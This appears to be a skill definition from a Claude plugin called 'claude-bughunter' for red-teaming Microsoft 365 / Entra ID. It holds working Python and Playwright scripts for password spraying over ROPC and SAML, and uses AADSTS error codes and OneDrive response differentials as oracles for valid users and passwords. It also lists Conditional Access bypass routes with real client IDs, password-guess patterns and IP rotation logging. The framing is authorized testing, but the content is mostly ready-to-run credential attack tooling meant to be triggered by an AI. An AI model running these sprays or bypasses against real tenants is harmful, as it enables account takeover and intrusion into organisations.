From claude-bughunter
Microsoft 365 / Entra ID red-team attack chain tooling. Covers tenant discovery, AADSTS codes, user enumeration, Smart Lockout, Conditional Access bypass, and ROPC/SAML spray tactics with Burp/Playwright templates.
How this skill is triggered — by the user, by Claude, or both
Slash command
/claude-bughunter:m365-entra-attackThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
Trigger when:
Trigger when:
*.onmicrosoft.com, *-my.sharepoint.com, enterpriseregistration.*, enterpriseenrollment.* in reconDO NOT use for:
# For each owned domain
msftrecon -d client.example
msftrecon -d clientltd.example
msftrecon -d sister-brand-school.example
Key fields in output:
Managed (cloud-only, ROPC works) | Federated (ADFS, different attack)Red flag: if the org has multiple Entra tenants for sister domains, each is a separate attack surface with its own user list, lockout policy, and CA configuration. Don't assume one spray covers all.
| AADSTS | Meaning | Lockout impact | What to do |
|---|---|---|---|
| 50034 | User does not exist | None | Skip; remove from spray list |
| 50126 | Invalid username/password | +1 attempt counter | User exists — try alternate password later (within cap) |
| 50053 | Account locked (Smart Lockout) | None (already locked) | Pre-existing → flag to SOC; don't retry |
| 53003 | CA blocked token issuance | +1 attempt counter | PASSWORD VALID — STOP, password is correct |
| 50076 | MFA required | +1 attempt counter | PASSWORD VALID — second factor needed |
| 50079 | Strong auth required | +1 attempt counter | PASSWORD VALID — same as 50076 |
| 50158 | External auth required | +1 attempt counter | PASSWORD VALID — federated MFA |
| 530003 | Device-state required | +1 attempt counter | PASSWORD VALID — needs compliant device |
| 65001 | Consent required | +1 attempt counter | App-consent issue, not auth |
| 700016 | App not in tenant | None | User in different tenant — adjust target |
| 90002 | Tenant does not exist | None | Tenant typo / dead tenant |
Critical insight: any code in {53003, 50076, 50079, 50158, 530003} means the password is correct — Microsoft only returns these AFTER successful credential validation. Document as a confirmed-valid finding even if you can't get a token.
Microsoft default policy:
Engagement discipline:
Mathematical guarantee: with 1 attempt per user, you cannot cause Smart Lockout (1 < 10). Any AADSTS50053 you see is therefore pre-existing → use this for active-attacker detection (see mid-engagement-ir-detection skill).
GET /getuserrealm.srf?login=<email>&xml=1
Returns identical XML for any email matching tenant's owned domain. Tenant-level only, not user-level.
POST /common/GetCredentialType
{"username":"<email>", "isOtherIdpSupported":true, ...}
Returns AADSTS1659001 (missing flowToken) without proper session — can't enumerate.
GET /autodiscover/autodiscover.json/v1.0/<email>?Protocol=AutodiscoverV1
Returns identical 200 + same JSON body for any address. Hardened ~2024.
OneDrive personal-site differential:
GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx HTTP/1.1
Host: <tenant>-my.sharepoint.com
Sprequestduration header faster (~40ms) for existing users vs ~600ms for non-existent — secondary timing oracleCaveats:
SharePoint Detected: Yes)2026-05-17 re-verification (authorized-engagement revalidation): The OneDrive enum primitive STILL WORKS as of 2026-05-17. Calibration: licensed users return HTTP 200 with ~57KB body; nonexistent users / shared-mailbox accounts return 404 with 0 bytes. The /personal/ root path (without /_layouts/15/onedrive.aspx) returns the same differential.
Killer use case: license differential = account-class signal. Cross-reference OneDrive 200/404 with ROPC AADSTS50034/50126:
| OneDrive | ROPC | Classification |
|---|---|---|
| 200 | AADSTS50076 (MFA req) or 50126 | Licensed regular user (real employee, MFA enforced) |
| 200 | AADSTS50034 | (shouldn't happen — inconsistency, investigate) |
| 404 | AADSTS50126 | Shared mailbox / functional / service account (no OneDrive license, has password) — historic MFA-exempt class, prime target for password guessing |
| 404 | AADSTS50034 | Doesn't exist in tenant |
| 404 | AADSTS50076 | Edge case (functional account WITH MFA enforced — rare) |
The OneDrive-404 + ROPC-50126 combination is the signal for "functional account that might bypass MFA" — admins frequently exempt these from CA policies because they're used by automation that can't satisfy MFA. Discovered usefulness on authorized-engagement revalidation: identified noreply@, purchase@, accounts@, postmaster@, transport@ as functional-account candidates (typical for any conglomerate tenant).
ROPC AADSTS50034 / AADSTS50126 differential:
| Vector | Status (2026) | Notes |
|---|---|---|
| Different ROPC client_id (Microsoft Graph PowerShell vs Azure CLI vs Office) | Sometimes works | CA can be per-app; try 1b730954-1685-4b74-9bfd-dac224a7b894 (Graph PS), 04b07795-8ddb-461a-bbee-02f9e1bf7b46 (Azure CLI), d3590ed6-52b3-4102-aeff-aad2292ab01c (Office) |
| Different resource (graph.microsoft.com / outlook.office.com / management.azure.com) | Sometimes works | CA scope can be per-resource |
| EWS / IMAP / POP3 / SMTP Basic Auth | Mostly disabled | MS deprecated Basic Auth Oct 2022; per-account exceptions exist |
| FOCI (Family of Client IDs) | Token-refresh path | Use a refresh token from one FOCI client to mint tokens for another |
| Device-code phishing | Works | Requires user-side interaction (OOS for many engagements) |
| Compliant-device emulation | Hard | Requires Intune device registration — high effort, often impossible without insider |
| AiTM session-cookie steal | Works (with phishing) | Modern primary technique — out of scope for non-phishing engagements |
| FOCI + Family Refresh Token Theft | Post-auth | Requires already having a token |
| SAML SSO via different SP | Sometimes | Each enterprise app has its own CA policy; an app with weaker CA = pivot |
| Geo-bypass via VPN | Sometimes | If "trusted location" CA policy includes corp HQ IPs, use a VPN exit there |
Key insight from this engagement: in a tenant with universal CA policy (compliant device + MFA), all the above paths return AADSTS53003 with the same flow. The cred is valid, but unusable from external. Phishing-completed cookie steal is the only realistic adversary path. Document this clearly so the client understands the threat model.
Single-attempt validator pattern (Python):
import urllib.request, urllib.parse, ssl, time, json, os
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
ATTEMPT_FILE = "engagement_log/o365_attempts.json"
HARD_CAP = 1 # or 2 — never higher
def attempt(email, password):
state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}
if state.get(email.lower(), 0) >= HARD_CAP:
return {"status": "SKIPPED_CAP"}
body = urllib.parse.urlencode({
"resource": "https://graph.windows.net",
"client_id": "1b730954-1685-4b74-9bfd-dac224a7b894", # Microsoft Graph PowerShell
"client_info": "1",
"grant_type": "password",
"username": email,
"password": password,
"scope": "openid",
}).encode()
state[email.lower()] = state.get(email.lower(), 0) + 1
json.dump(state, open(ATTEMPT_FILE+".tmp", "w"))
os.replace(ATTEMPT_FILE+".tmp", ATTEMPT_FILE) # atomic
req = urllib.request.Request(
"https://login.microsoftonline.com/common/oauth2/token",
data=body, method="POST",
)
req.add_header("Content-Type", "application/x-www-form-urlencoded")
try:
r = urllib.request.urlopen(req, context=ctx, timeout=15)
body = json.loads(r.read())
# PARSE AS JSON — see CRITICAL TRAP below about substring matching
if "access_token" in body: # ← JSON key check, NOT substring
return {"status": "VALID", "body": body}
return {"status": "STATUS_200_NO_TOKEN", "body": body}
except urllib.error.HTTPError as e:
msg = e.read().decode(errors="ignore")
for code, status in [
("AADSTS50034", "INVALID_USER"),
("AADSTS50126", "INVALID_PW"),
("AADSTS50053", "LOCKED"),
("AADSTS53003", "VALID_CA_BLOCK"),
("AADSTS50076", "VALID_MFA"),
("AADSTS50079", "VALID_MFA"),
]:
if code in msg:
return {"status": status, "code": code}
return {"status": "OTHER", "msg": msg[:200]}
"access_token" substringWhen CA policy requires MFA and ROPC cannot satisfy it, Entra returns an error body that INCLUDES a claims field listing CA policy IDs as a step-up challenge:
{
"error": "invalid_grant",
"error_description": "AADSTS50076: ...you must use multi-factor authentication...",
"error_codes": [50076],
"suberror": "basic_action",
"claims": "{\"access_token\":{\"capolids\":{\"essential\":true,\"values\":[\"<policy-id-1>\",\"<policy-id-2>\"]}}}"
}
The "access_token" substring appears inside the CA claims challenge JSON. A loose substring check if "access_token" in raw_body: will false-positive every MFA-blocked attempt as a successful token issuance.
Always parse JSON, then check if "access_token" in parsed_dict: — never substring-match on OAuth error bodies. This was discovered in the 2026-05-17 authorized-engagement revalidation where a substring check produced 7 false-positive "CA bypasses" on Sway/Yammer/Bookings/Tunnel client_ids that were actually all enforcing MFA correctly.
The claims.access_token.capolids values are tenant-internal Conditional Access policy IDs — useful recon enrichment, but NOT a token. Document them in engagement notes as "CA policy IDs that fired" — they're a defender-side breadcrumb, not an attacker-side win.
Pace:
When ROPC returns AADSTS53003, you've proven the password. To prove it across BOTH auth paths (and capture Microsoft's CA-block page as evidence), walk SAML SSO via Playwright:
import asyncio
from playwright.async_api import async_playwright
async def saml_validate(target_sp_url, username, password, screenshot_dir):
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True, args=["--ignore-certificate-errors"])
context = await browser.new_context(ignore_https_errors=True)
page = await context.new_page()
# Step 1: navigate to SP
await page.goto(target_sp_url, wait_until="networkidle", timeout=30000)
# Step 2: click sign-in (selectors vary per SP)
for sel in ["button:has-text('Sign in')", "a:has-text('Login')", "button:has-text('Azure')"]:
try:
await page.locator(sel).first.click(timeout=3000)
break
except: continue
await page.wait_for_load_state("networkidle", timeout=20000)
# Step 3: submit username at Microsoft
await page.locator('input[name="loginfmt"], input[type="email"]').first.fill(username)
await page.locator('input[type="submit"], #idSIButton9').first.click()
await page.wait_for_load_state("networkidle", timeout=20000)
# Step 4: submit password
await page.locator('input[name="passwd"], input[type="password"]').first.fill(password)
await page.locator('input[type="submit"], #idSIButton9').first.click()
await page.wait_for_load_state("networkidle", timeout=30000)
# Step 5: capture
await page.screenshot(path=f"{screenshot_dir}/saml_final.png", full_page=True)
content = await page.content()
cookies = await context.cookies()
await browser.close()
# Check outcome
low = content.lower()
if "convergedconditionalaccess" in low or "53003" in low:
return "CA_BLOCKED" # cred valid, CA wall
elif "verify your identity" in low or "approve sign in" in low:
return "MFA_REQUIRED" # cred valid, MFA wall
elif "we couldn't sign you in" in low or "wrong" in low:
return "INVALID"
elif "<post-auth-landing-marker>" in low or "dashboard" in low:
return "FULL_SUCCESS" # session obtained (replace marker per target app)
return "UNCLEAR"
Microsoft's ConvergedConditionalAccess page (PageID in source) is the definitive evidence of CA-block.
If you see AADSTS50053 (LOCKED) on multiple users despite your 1-attempt-per-user cap:
This is the highest-impact byproduct of any M365 spray engagement. Always track and report.
<BrandName>@<Year> — <Brand>@2026, Tata@2026<BrandName>@123 — <Brand>@123 (very common)<PlantCity>@<Year> — <City1>@2026, <City2>@2026 (production plant cities)<EmployeeID-as-password> — common in legacy apps (PAN number, employee code, phone last4)Password@<year>, Welcome@<year>, Admin@<year> — generic defaults<BrandName>@<Y2-digits> — <Brand>@26Engagement caveat: when client provides leaked-cred dumps (stealer logs), use those FIRST. Each leaked cred is 1 cap-attempt against the strongest known guess for that user.
Every M365 attempt logs to JSONL:
{"ts":"2026-05-08T14:40:53","email":"user1@<client>.example","pw_first4":"<r4>","status":"VALID_CA_BLOCK","code":"AADSTS53003","attempts_used":1}
Per-user tracker (atomic):
{"user1@<client>.example": 1, "user2@<client>.example": 1, ...}
IP rotation log (per-day):
2026-05-08 <src-ip> <ISP-AS> <operator-handle> Round 2 spray
These three artifacts are deliverable evidence for the report. They survive into the next engagement as state.
For the report:
Finding: 261 Entra accounts in pre-existing lockout state
o365_results.jsonl filtered to status=LOCKEDFinding: Valid M365 cred — <user>:<password> (CA-blocked)
ConvergedConditionalAccess page screenshotpip install --break-system-packages msftrecon o365spray # may need to clone msftrecon from GitHub
brew install pandoc # for report generation
go install -v github.com/projectdiscovery/... # PD toolkit for general recon
Pre-built m365_validator.py template at engagement working directory engagement_log/m365_validator.py. Adapt the attempt() function to your engagement.
hunt-mfa-bypass — AADSTS50053 (lockout) vs AADSTS50126 (bad password) vs AADSTS50076 (MFA required) is a free factor-presence oracle. Chain primitive: M365 AADSTS50053 lockout differential observed → user has MFA but no CA enforcement on legacy auth → hunt-mfa-bypass factor-probe (SMS fallback, voice fallback, OAuth device-code flow, ROPC against legacy endpoint) → Conditional Access bypass via legacy-protocol path.hunt-ntlm-info — On-prem NTLM topology leak feeds the Entra spray. Chain primitive: SharePoint/Exchange/IIS anon NTLM Type-2 → AV_PAIR decode yields corp.example.com → m365-entra-attack resolves Entra tenant via openid-configuration → ROPC spray with realistic UPN format.okta-attack — Hybrid orgs run Okta-as-IdP federated into Entra. Chain primitive: M365 getuserrealm returns NameSpaceType: Federated with AuthURL pointing to *.okta.com → pivot to okta-attack for tenant enumeration → Okta ATO → SAML assertion to Entra → full M365 access.hunt-saml — Federated tenants accept signed SAML assertions; XSW or signature-stripping on the federated IdP bypasses Entra's controls entirely. Chain primitive: getuserrealm reveals federation → IdP fingerprinted (ADFS / Okta / PingFederate) → hunt-saml XSW1-XSW8 against IdP's /adfs/ls/ or equivalent → forged assertion → Entra grants access.redteam-report-template — M365 findings need clear tenant/user/CA-policy framing because the blast radius is "every Microsoft service the org uses." Chain primitive: validated finding from this skill → run through triage-validation 7-Question Gate → package via redteam-report-template with explicit blast-radius (which apps, which users, which data) for client deliverable.npx claudepluginhub elementalsouls/claude-bughunter2plugins reuse this skill
First indexed Jun 11, 2026
Run Microsoft Entra ID tenant reconnaissance, token acquisition, and federation backdoor testing with AADInternals PowerShell toolkit.
Executes Okta-as-IdP red-team attack chain: tenant discovery, user enumeration, authentication flow analysis, password spray, phishing primitives, MFA enumeration, and post-compromise admin API surface.
Active Directory red team methodology covering recon (BloodHound, PowerView), credential abuse (Kerberoasting, NTLM relay), escalation, lateral movement, persistence, ADCS abuse, and Defender evasion.